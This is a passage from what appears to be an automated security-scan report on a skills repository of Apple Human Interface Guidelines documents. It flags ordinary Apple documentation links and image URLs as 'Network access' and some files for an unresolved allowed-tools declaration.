    ### [visionOS dimensions](https://developer.apple.com/design/human-interface-guidelines/widgets#visionOS-dimensions)
  • Network accessline 478
    ### [watchOS dimensions](https://developer.apple.com/design/human-interface-guidelines/widgets#watchOS-dimensions)
  • Network accessline 488
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/widgets#Resources)
  • Network accessline 490
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/widgets#Related)
  • Network accessline 492
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 494
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/widgets#Developer-documentation)
  • Network accessline 496
    [WidgetKit](https://developer.apple.com/documentation/WidgetKit)
  • Network accessline 498
    [Developing a WidgetKit strategy](https://developer.apple.com/documentation/WidgetKit/Developing-a-WidgetKit-strategy) — WidgetKit
  • Network accessline 500
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/widgets#Videos)
  • Network accessline 502
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/126547AE-9E47-4E15-AC05-5C50AB08CBEE/9952_wide_250x141_1x.jpg) What’s new in widgets ](https://developer.apple.com/videos/play/wwdc2025/278)
  • Network accessline 504
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/4D354E1F-5016-49F7-9296-3D3722626480/9957_wide_250x141_1x.jpg) Design widgets for visionOS ](https://developer.apple.com/videos/play/wwdc2025/255
  • Network accessline 506
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/5631C647-3158-42F6-A1D3-50566815A1BB/8056_wide_250x141_1x.jpg) Bring widgets to life ](https://developer.apple.com/videos/play/wwdc2023/10028)
  • Network accessline 508
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/widgets#Change-log)

skills/hig-foundations/SKILL.md

  • Network accessline 100
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-foundations/references/accessibility.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Accessibility | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/accessibility
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/accessibility
  • Network accessline 9
    ![A sketch of the Accessibility icon. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/
  • Network accessline 22
    As you design your app, audit the accessibility of your interface. Use [Accessibility Inspector](https://developer.apple.com/documentation/Accessibility/accessibility-inspector) to highlight accessibility issues with your interface and to u
  • Network accessline 24
    ## [Vision](https://developer.apple.com/design/human-interface-guidelines/accessibility#Vision)
  • Network accessline 26
    ![An illustration containing five symbols associated with the topic of vision, including symbols representing text size, magnification, VoiceOver, and spoken dialogue.](https://docs-assets.developer.apple.com/published/bedd6018a62492eff4656
  • Network accessline 30
    **Support larger text sizes.** Make sure people can adjust the size of your text or icons to make them more legible, visible, and comfortable to read. Ideally, give people the option to enlarge text by at least 200 percent (or 140 percent i
  • Network accessline 42
    **Bear in mind that font weight can also impact how easy text is to read.** If you’re using a custom font with a thin weight, aim for larger than the recommended sizes to increase legibility. For more guidance, see [Typography](https://deve
  • Network accessline 44
    ![An illustration of a rectangular view containing the word 'Hello,' formatted bold, at a small font size.](https://docs-assets.developer.apple.com/published/b8366a96b31af036b2414243d299b011/accessibility-font-weight-small-bold%402x.png)Thi
  • Network accessline 46
    ![An illustration of a rectangular view containing the word 'Hello,' formatted thin, at a large font size.](https://docs-assets.developer.apple.com/published/1f164f6ff2cb994f3852340272a3df90/accessibility-font-weight-large-thin%402x.png)Con
  • Network accessline 48
    **Strive to meet color contrast minimum standards.** To ensure all information in your app is legible, it’s important that there’s enough contrast between foreground text and icons and background colors. Two popular standards of measure for
  • Network accessline 56
    If your app doesn’t provide this minimum contrast by default, ensure it at least provides a higher contrast color scheme when the system setting Increase Contrast is turned on. If your app supports [Dark Mode](https://developer.apple.com/de
  • Network accessline 58
    ![An illustration of a button that has insufficient contrast between the button's title and background.](https://docs-assets.developer.apple.com/published/7da7a46683e0b9063fb1c9db6ab59bd9/accessibilty-button-poor-color-contrast%402x.png)A b
  • Network accessline 60
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 62
    ![An illustration of a button that has sufficient contrast between the button's title and background.](https://docs-assets.developer.apple.com/published/7e5df7edfe62df057eef743f9a449040/accessibilty-button-good-color-contrast%402x.png)A but
  • Network accessline 64
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 66
    **Prefer system-defined colors.** These colors have their own accessible variants that automatically adapt when people adjust their color preferences, such as enabling Increase Contrast or toggling between the light and dark appearances. Fo
  • Network accessline 68
    ![An illustration demonstrating how the system-defined color red appears above a light and dark background. In the illustration, a circle is positioned above a rounded rectangle. The left side of the rounded rectangle is light in color, and
  • Network accessline 70
    ![An illustration demonstrating how the system-defined accessibility-specific color red appears above a light and dark background. In the illustration, a circle is positioned above a rounded rectangle. The left side of the rounded rectangle
  • Network accessline 74
    ![An illustration of a green circle to the left of a red circle.](https://docs-assets.developer.apple.com/published/5d62d6f6c6ff1563d80847b3b29e2125/accessibility-differentiate-with-shapes-incorrect%402x.png)For someone with red-green color
  • Network accessline 76
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 78
    ![An illustration of a green circle containing a checkmark to the left of a red octagon containing an X.](https://docs-assets.developer.apple.com/published/e13c9c34a780c2d2ab0e614f55a3e73e/accessibility-differentiate-with-shapes-correct%402
  • Network accessline 80
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 82
    **Describe your app’s interface and content for VoiceOver.** VoiceOver is a screen reader that lets people experience your app’s interface without needing to see the screen. For more guidance, see [VoiceOver](https://developer.apple.com/des
  • Network accessline 84
    ## [Hearing](https://developer.apple.com/design/human-interface-guidelines/accessibility#Hearing)
  • Network accessline 86
    ![An illustration containing five symbols associated with the topic of hearing, including symbols representing sound, waveforms, and closed captioning.](https://docs-assets.developer.apple.com/published/eef3040be22f7aa6b10dc45b2918f9f8/acce
  • Network accessline 103
    For developer guidance, see [Selecting subtitles and alternative audio tracks](https://developer.apple.com/documentation/AVFoundation/selecting-subtitles-and-alternative-audio-tracks).
  • Network accessline 105
    **Use haptics in addition to audio cues.** If your interface conveys information through audio cues — such as a success chime, error sound, or game feedback — consider pairing that sound with matching haptics for people who can’t perceive t
  • Network accessline 107
    ![An illustration of an iPhone device vibrating as music plays from the device.](https://docs-assets.developer.apple.com/published/1bf9d6ae5c3586a5163ce6abf0cabb95/accessibility-haptic-audio-combo%402x.png)
  • Network accessline 111
    ## [Mobility](https://developer.apple.com/design/human-interface-guidelines/accessibility#Mobility)
  • Network accessline 113
    ![An illustration containing five symbols associated with the topic of mobility, including symbols representing the keyboard, movement, and touch.](https://docs-assets.developer.apple.com/published/f8e9d74dc994111ba0ee7fa436fc2fc1/accessibi
  • Network accessline 129
    ![An illustration showing three buttons: rewind, play, and fast forward. The buttons have insufficient padding between them.](https://docs-assets.developer.apple.com/published/4148fe218b3f50b66d64eeda288de5be/accessibility-controls-spacing-
  • Network accessline 131
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 133
    ![An illustration showing three buttons: rewind, play, and fast forward. The buttons are spaced apart, with sufficient padding between them.](https://docs-assets.developer.apple.com/published/98bc500a0a2cf15620b972de1fcce3b3/accessibility-c
  • Network accessline 135
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 141
    ![An illustration of a table view in edit mode. The rows of the table include delete buttons.](https://docs-assets.developer.apple.com/published/fa893cee3fa5c70e99dfefa85c0c390a/accessibility-tap-to-delete%402x.png)Edit and tap to delete
  • Network accessline 143
    ![An illustration of a table view. One of the rows in the table is swiped to the left to reveal a delete button.](https://docs-assets.developer.apple.com/published/f6eb08c3c3a75f5b1b337b4813b4e95e/accessibility-swipe-to-delete%402x.png)Swip
  • Network accessline 145
    **Let people use Voice Control to give guidance and enter information verbally.** With Voice Control, people can interact with their devices entirely by speaking commands. They can perform gestures, interact with screen elements, dictate an
  • Network accessline 147
    **Integrate with Siri and Shortcuts to let people perform tasks using voice alone.** When your app supports Siri and Shortcuts, people can automate the important and repetitive tasks they perform regularly. They can initiate these tasks fro
  • Network accessline 149
    **Support mobility-related assistive technologies.** Features like [VoiceOver](https://developer.apple.com/design/human-interface-guidelines/voiceover), AssistiveTouch, Full Keyboard Access, Pointer Control, and [Switch Control](https://dev
  • Network accessline 151
    ## [Speech](https://developer.apple.com/design/human-interface-guidelines/accessibility#Speech)
  • Network accessline 153
    ![An illustration containing five symbols associated with the topic of speech, including symbols representing waveforms and speech.](https://docs-assets.developer.apple.com/published/62f06a887d774ec29a27ce2be6d30444/accessibility-speech-sec
  • Network accessline 157
    **Let people use the keyboard alone to navigate and interact with your app.** People can turn on Full Keyboard Access to navigate apps using their physical keyboard. The system also defines accessibility keyboard shortcuts and a wide range 
  • Network accessline 159
    **Support Switch Control.** Switch Control is an assistive technology that lets people control their devices through separate hardware, game controllers, or sounds such as a click or a pop. People can perform actions like selecting, tapping
  • Network accessline 161
    ## [Cognitive](https://developer.apple.com/design/human-interface-guidelines/accessibility#Cognitive)
  • Network accessline 163
    ![An illustration containing five symbols associated with the topic of cognition, including symbols representing music, security, and information hierarchy.](https://docs-assets.developer.apple.com/published/0d837305d3c06f6ba0199cf2764df3fd
  • Network accessline 173
    **Let people control audio and video playback.** Avoid autoplaying audio and video content without also providing controls to start and stop it. Make sure these controls are discoverable and easy to act upon, and consider global settings th
  • Network accessline 175
    **Allow people to opt out of flashing lights in video playback.** People might want to avoid bright, frequent flashes of light in the media they consume. A Dim Flashing Lights setting allows the system to calculate, mitigate, and inform peo
  • Network accessline 194
    ![A screenshot of the Camera app in Assistive Access, showing an interface with three large buttons: Photo, Video, and Back.](https://docs-assets.developer.apple.com/published/186637e83d4ec29d3d20a8249be8a538/accessibility-assistive-access-
  • Network accessline 196
    ![A screenshot of the Camera app open to the photo screen in Assistive Access, showing an interface with two large buttons: Take Photo and Back.](https://docs-assets.developer.apple.com/published/c2abc07058fc2e64295271c85c5d66eb/accessibili
  • Network accessline 209
    For developer guidance, see [Assistive Access](https://developer.apple.com/documentation/Accessibility/assistive-access).
  • Network accessline 211
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/accessibility#Platform-considerations)
  • Network accessline 215
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/accessibility#visionOS)
  • Network accessline 237
    ![A screenshot of an app's window in visionOS. A zoom lens is visible above a portion of the window, and displays a zoomed-in version of the content beneath the lens.](https://docs-assets.developer.apple.com/published/087dd22d68c54c95cd7000
  • Network accessline 254
    For additional guidance, see [Create accessible spatial experiences](https://developer.apple.com/videos/play/wwdc2023/10034) and [Design considerations for vision and motion](https://developer.apple.com/videos/play/wwdc2023/10078).
  • Network accessline 256
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/accessibility#Resources)
  • Network accessline 258
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/accessibility#Related)
  • Network accessline 260
    [Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion)
  • Network accessline 262
    [Typography](https://developer.apple.com/design/human-interface-guidelines/typography)
  • Network accessline 264
    [VoiceOver](https://developer.apple.com/design/human-interface-guidelines/voiceover)
  • Network accessline 266
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/accessibility#Developer-documentation)
  • Network accessline 268
    [Building accessible apps](https://developer.apple.com/accessibility/)
  • Network accessline 270
    [Accessibility framework](https://developer.apple.com/documentation/Accessibility)
  • Network accessline 272
    [Overview of Accessibility Nutrition Labels](https://devcms.apple.com/help/app-store-connect/manage-app-accessibility/overview-of-accessibility-nutrition-labels)
  • Network accessline 274
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/accessibility#Videos)
  • Network accessline 276
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/F5AEB5B6-FF48-4201-B110-A0EDA465F3B4/9961_wide_250x141_1x.jpg) Principles of inclusive app design ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 278
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/163752B6-501D-4816-BA92-DBF33CCF0CD2/9917_wide_250x141_1x.jpg) Evaluate your app for Accessibility Nutrition Labels ](https://developer.apple.com
  • Network accessline 280
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/52E9AD54-DB4B-4BB0-93D9-7625A2A46A74/9166_wide_250x141_1x.jpg) Catch up on accessibility in SwiftUI ](https://developer.apple.com/videos/play/wwd
  • Network accessline 282
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/accessibility#Change-log)

skills/hig-foundations/references/app-icons.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "App icons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/app-icons
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/app-icons
  • Network accessline 9
    ![A sketch of the App Store icon. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/05b8
  • Network accessline 13
    ![An image that shows three variations of the Photos app's app icon as it appears on different platforms. The first variation is a rounded rectangle shape, and represents the iOS, iPadOS, and macOS icons. The second variation is an elongate
  • Network accessline 15
    ## [Layer design](https://developer.apple.com/design/human-interface-guidelines/app-icons#Layer-design)
  • Network accessline 49
    You use your favorite design tool to craft the individual foreground layers of your app icon. For iOS, iPadOS, macOS, and watchOS icons, you then import your icon layers into Icon Composer, a design tool included with Xcode and available fr
  • Network accessline 51
    ![A screenshot of the Photos app icon in Icon Composer.](https://docs-assets.developer.apple.com/published/3d4f8c4c6b744e77f32802201fb48fb7/app-icons-icon-composer-overview-photos%402x.png)Icon Composer
  • Network accessline 53
    For tvOS and visionOS app icons, you add your icon layers directly to an image stack in Xcode to form your complete icon. For developer guidance, see [Configuring your app icon using an asset catalog](https://developer.apple.com/documentati
  • Network accessline 63
    ## [Icon shape](https://developer.apple.com/design/human-interface-guidelines/app-icons#Icon-shape)
  • Network accessline 73
    ![An image of the Settings icon for iOS. The iOS, iPadOS, and macOS icon grid is overlaid on the icon to show how the icon's shape and its elements map to the grid.](https://docs-assets.developer.apple.com/published/a116649a6bdc5124779475fc
  • Network accessline 75
    ![An image of the Settings icon for tvOS. The tvOS icon grid is overlaid on the icon to show how the icon's shape and its elements map to the grid.](https://docs-assets.developer.apple.com/published/770ec58a9f9985410cdff8c38b8166ab/app-icon
  • Network accessline 77
    ![An image of the Settings icon for watchOS. The visionOS and watchOS icon grid is overlaid on the icon to show how the icon's shape and its elements map to the grid.](https://docs-assets.developer.apple.com/published/2ceefd0eeb7e039a43ab05
  • Network accessline 81
    **Keep primary content centered to avoid truncation when the system adjusts corners or applies masking.** Pay particular attention to centering content in visionOS and watchOS icons. To help with icon placement, use the grids in the app ico
  • Network accessline 83
    ## [Design](https://developer.apple.com/design/human-interface-guidelines/app-icons#Design)
  • Network accessline 87
    ![An image of the Podcasts app icon.](https://docs-assets.developer.apple.com/published/58a62b07273dbbc302df7a428103a16e/app-icons-embrace-simplicity-podcasts%402x.png)The Podcasts app icon
  • Network accessline 89
    ![An image of the Home app icon.](https://docs-assets.developer.apple.com/published/4932ee4d526fc1b112e611f610a18b08/app-icons-embrace-simplicity-home%402x.png)The Home app icon
  • Network accessline 95
    ![An illustration of two circles centered above a grid. One circle encloses the other. The inner circle has a solid fill. The outer circle is larger than the inner circle, allowing some space between them. The outer circle has no fill and s
  • Network accessline 97
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 99
    ![An illustration of two circles centered above a grid. One circle encloses the other. The inner circle has a solid fill. The outer circle is larger than the inner circle, has no outline, and has a semi-transparent fill that allows the back
  • Network accessline 101
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 109
    ## [Visual effects](https://developer.apple.com/design/human-interface-guidelines/app-icons#Visual-effects)
  • Network accessline 115
    ## [Appearances](https://developer.apple.com/design/human-interface-guidelines/app-icons#Appearances)
  • Network accessline 119
    ![A grid showing the six different appearances of the Photos app icon in iOS. The top row shows the default, clear light, and tinted light icon variants. The bottom row shows the dark, clear dark, and tinted dark variants.](https://docs-ass
  • Network accessline 125
    **Use your light app icon as the basis for your dark icon.** Choose complementary colors that reflect the default design, and avoid excessively bright images. Color backgrounds generally offer the greatest contrast in dark icons. For guidan
  • Network accessline 131
    Alternate app icons in iOS and iPadOS require their own dark, clear, and tinted variants. As with your default app icon, all alternate and variant icons are subject to app review and must adhere to the [App Review Guidelines](https://develo
  • Network accessline 133
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/app-icons#Platform-considerations)
  • Network accessline 137
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/app-icons#tvOS)
  • Network accessline 141
    ![A diagram of the Photos app icon in tvOS with a white dotted line inside the outer border, which indicates the safe zone.](https://docs-assets.developer.apple.com/published/f2f3bf70c87e53889768b64a2faf5cf5/tvos-app-icon-safe-zone%402x.png
  • Network accessline 143
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/app-icons#visionOS)
  • Network accessline 147
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/app-icons#watchOS)
  • Network accessline 151
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/app-icons#Specifications)
  • Network accessline 175
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/app-icons#Resources)
  • Network accessline 177
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/app-icons#Related)
  • Network accessline 179
    [Apple Design Resources](https://developer.apple.com/design/resources/)
  • Network accessline 181
    [Icon Composer](https://developer.apple.com/icon-composer/)
  • Network accessline 183
    [Icons](https://developer.apple.com/design/human-interface-guidelines/icons)
  • Network accessline 185
    [Images](https://developer.apple.com/design/human-interface-guidelines/images)
  • Network accessline 187
    [Dark Mode](https://developer.apple.com/design/human-interface-guidelines/dark-mode)
  • Network accessline 189
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/app-icons#Developer-documentation)
  • Network accessline 191
    [Creating your app icon using Icon Composer](https://developer.apple.com/documentation/Xcode/creating-your-app-icon-using-icon-composer)
  • Network accessline 193
    [Configuring your app icon using an asset catalog](https://developer.apple.com/documentation/Xcode/configuring-your-app-icon)
  • Network accessline 195
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/app-icons#Videos)
  • Network accessline 197
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/2C0F206D-6728-49F7-940E-DC5BC5C51B54/9911_wide_250x141_1x.jpg) Say hello to the new look of app icons ](https://developer.apple.com/videos/play/w
  • Network accessline 199
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/93AA149B-9ACF-4281-8BAF-5AFF7CFA1CF0/10087_wide_250x141_1x.jpg) Create icons with Icon Composer ](https://developer.apple.com/videos/play/wwdc202
  • Network accessline 201
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/app-icons#Change-log)

skills/hig-foundations/references/branding.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Branding | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/branding
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/branding
  • Network accessline 9
    ![A sketch of a megaphone, suggesting communication. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple
  • Network accessline 11
    In addition to expressing your brand in your [app icon](https://developer.apple.com/design/human-interface-guidelines/app-icons) and throughout your experience, you have several opportunities to highlight it within the App Store. For guidan
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/branding#Best-practices)
  • Network accessline 17
    **Consider choosing an accent color.** On most platforms, you can specify a color that the system applies to app elements like interface icons, buttons, and text. In macOS, people can also choose their own accent color that the system can u
  • Network accessline 19
    **Consider using a custom font.** If your brand is strongly associated with a specific font, be sure that it’s legible at all sizes and supports accessibility features like bold text and larger type. It can work well to use a custom font fo
  • Network accessline 27
    **Avoid using a launch screen as a branding opportunity.** Some platforms use a launch screen to minimize the startup experience, while simultaneously giving the app or game a little time to load resources (for guidance, see [Launch screens
  • Network accessline 29
    **Follow Apple’s trademark guidelines.** Apple trademarks must not appear in your app name or images. See [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademark/appletmlist.html) and [Guidelines for Using Apple T
  • Network accessline 31
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/branding#Platform-considerations)
  • Network accessline 35
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/branding#Resources)
  • Network accessline 37
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/branding#Related)
  • Network accessline 39
    [Marketing resources and identity guidelines](https://developer.apple.com/app-store/marketing/guidelines/)
  • Network accessline 41
    [Show more with app previews](https://developer.apple.com/app-store/app-previews/)
  • Network accessline 43
    [Color](https://developer.apple.com/design/human-interface-guidelines/color)

skills/hig-foundations/references/color.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Color | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/color
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/color
  • Network accessline 9
    ![A sketch of a paint palette, suggesting the use of color. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.develope
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/color#Best-practices)
  • Network accessline 19
    **Make sure all your app’s colors work well in light, dark, and increased contrast contexts.** iOS, iPadOS, macOS, and tvOS offer both light and [dark](https://developer.apple.com/design/human-interface-guidelines/dark-mode) appearance sett
  • Network accessline 21
    ![A screenshot of the Notes app in iOS with the light system appearance and default contrast. The Notes app is open to a note with the text 'Note'. The text is selected, which shows a yellow selection highlight and text editing menu. The Do
  • Network accessline 25
    ![A screenshot of the Notes app in iOS with the light system appearance and increased contrast. The Notes app is open to a note with the text 'Note'. The text is selected, which shows a yellow selection highlight and text editing menu. The 
  • Network accessline 29
    ![A screenshot of the Notes app in iOS with the dark system appearance and default contrast. The Notes app is open to a note with the text 'Note'. The text is selected, which shows a yellow selection highlight and text editing menu. The Don
  • Network accessline 33
    ![A screenshot of the Notes app in iOS with the dark system appearance and increased contrast. The Notes app is open to a note with the text 'Note'. The text is selected, which shows a yellow selection highlight and text editing menu. The D
  • Network accessline 39
    **Test your app on different devices.** For example, the True Tone display — available on certain iPhone, iPad, and Mac models — uses ambient light sensors to automatically adjust the white point of the display to adapt to the lighting cond
  • Network accessline 43
    **If your app lets people choose colors, prefer system-provided color controls where available.** Using built-in color pickers provides a consistent user experience, in addition to letting people save a set of colors they can access from an
  • Network accessline 45
    ## [Inclusive color](https://developer.apple.com/design/human-interface-guidelines/color#Inclusive-color)
  • Network accessline 49
    **Avoid using colors that make it hard to perceive content in your app.** For example, insufficient contrast can cause icons and text to blend with the background and make content hard to read, and people who are color blind might not be ab
  • Network accessline 53
    ![An illustration of an upward-trending stock chart in the Stocks app in English. The line of the graph is green to indicate the rising value of the stock during the selected time period.](https://docs-assets.developer.apple.com/published/5
  • Network accessline 55
    ![An illustration of an upward-trending stock chart in the Stocks app in Chinese. The line of the graph is red to indicate the rising value of the stock during the selected time period.](https://docs-assets.developer.apple.com/published/e84
  • Network accessline 57
    ## [System colors](https://developer.apple.com/design/human-interface-guidelines/color#System-colors)
  • Network accessline 59
    **Avoid hard-coding system color values in your app.** Documented color values are for your reference during the app design process. The actual color values may fluctuate from release to release, based on a variety of environmental variable
  • Network accessline 63
    **Avoid redefining the semantic meanings of dynamic system colors.** To ensure a consistent experience and ensure your interface looks great when the appearance of the platform changes, use dynamic system colors as intended. For example, do
  • Network accessline 65
    ## [Liquid Glass color](https://developer.apple.com/design/human-interface-guidelines/color#Liquid-Glass-color)
  • Network accessline 67
    By default, [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass) has no inherent color, and instead takes on colors from the content directly behind it. You can apply color to some Liquid Glas
  • Network accessline 69
    ![A screenshot of the Done button in iOS, which appears as a checkmark on a blue Liquid Glass background.](https://docs-assets.developer.apple.com/published/df4d0a0bca32edb16d7ff86e34d6fe2d/color-liquid-glass-overview-tinted%402x.png)Contro
  • Network accessline 71
    ![A screenshot of a tab bar in iOS, with the first tab selected. The symbol and text label of the selected tab bar item are blue.](https://docs-assets.developer.apple.com/published/5a9078b2ea4baec1f15773638c9377c6/color-liquid-glass-overvie
  • Network accessline 73
    ![A screenshot of the Share button in iOS over a colorful image. The colors from the background image infuse the Liquid Glass in the button, affecting its color.](https://docs-assets.developer.apple.com/published/9cf610d972c97dee46b9e206525
  • Network accessline 79
    ![A screenshot of the top half of an iPhone app that shows a toolbar with several buttons. All of the buttons in the toolbar use a blue accent color for their Liquid Glass background.](https://docs-assets.developer.apple.com/published/9b7b9
  • Network accessline 81
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 83
    ![A screenshot of the top half of an iPhone app that shows a toolbar with several buttons. Only the Done button in the toolbar uses a blue accent color for its Liquid Glass background.](https://docs-assets.developer.apple.com/published/3897
  • Network accessline 85
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 91
    ## [Color management](https://developer.apple.com/design/human-interface-guidelines/color#Color-management)
  • Network accessline 95
    ![Diagram showing the colors included in the sRGB space, compared to the larger number of colors included in the P3 color space.](https://docs-assets.developer.apple.com/published/c10d0ec4c78a6b824552058caac031b5/color-graphic-wide-color%40
  • Network accessline 105
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/color#Platform-considerations)
  • Network accessline 107
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/color#iOS-iPadOS)
  • Network accessline 109
    iOS defines two sets of dynamic background colors — _system_ and _grouped_ — each of which contains primary, secondary, and tertiary variants that help you convey a hierarchy of information. In general, use the grouped background colors ([`
  • Network accessline 124
    Color| Use for…| UIKit API   ---|---|---   Label| A text label that contains primary content.| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)
  • Network accessline 125
    ---|---|---   Label| A text label that contains primary content.| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)   Secondary label| A text label that contains secondary content.| [`secondaryLabel`](https://develope
  • Network accessline 126
    Label| A text label that contains primary content.| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)
  • Network accessline 127
    Secondary label| A text label that contains secondary content.| [`secondaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/secondaryLabel)
  • Network accessline 128
    Tertiary label| A text label that contains tertiary content.| [`tertiaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/tertiaryLabel)
  • Network accessline 129
    Quaternary label| A text label that contains quaternary content.| [`quaternaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/quaternaryLabel)
  • Network accessline 130
    Placeholder text| Placeholder text in controls or text views.| [`placeholderText`](https://developer.apple.com/documentation/UIKit/UIColor/placeholderText)
  • Network accessline 131
    Separator| A separator that allows some underlying content to be visible.| [`separator`](https://developer.apple.com/documentation/UIKit/UIColor/separator)
  • Network accessline 132
    Opaque separator| A separator that doesn’t allow any underlying content to be visible.| [`opaqueSeparator`](https://developer.apple.com/documentation/UIKit/UIColor/opaqueSeparator)
  • Network accessline 133
    Link| Text that functions as a link.| [`link`](https://developer.apple.com/documentation/UIKit/UIColor/link)
  • Network accessline 135
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/color#macOS)
  • Network accessline 139
    Color| Use for…| AppKit API   ---|---|---   Alternate selected control text color| The text on a selected surface in a list or table.| [`alternateSelectedControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/alternateS
  • Network accessline 140
    ---|---|---   Alternate selected control text color| The text on a selected surface in a list or table.| [`alternateSelectedControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/alternateSelectedControlTextColor)   Alt
  • Network accessline 141
    Alternate selected control text color| The text on a selected surface in a list or table.| [`alternateSelectedControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/alternateSelectedControlTextColor)
  • Network accessline 142
    Alternating content background colors| The backgrounds of alternating rows or columns in a list, table, or collection view.| [`alternatingContentBackgroundColors`](https://developer.apple.com/documentation/AppKit/NSColor/alternatingContentB
  • Network accessline 143
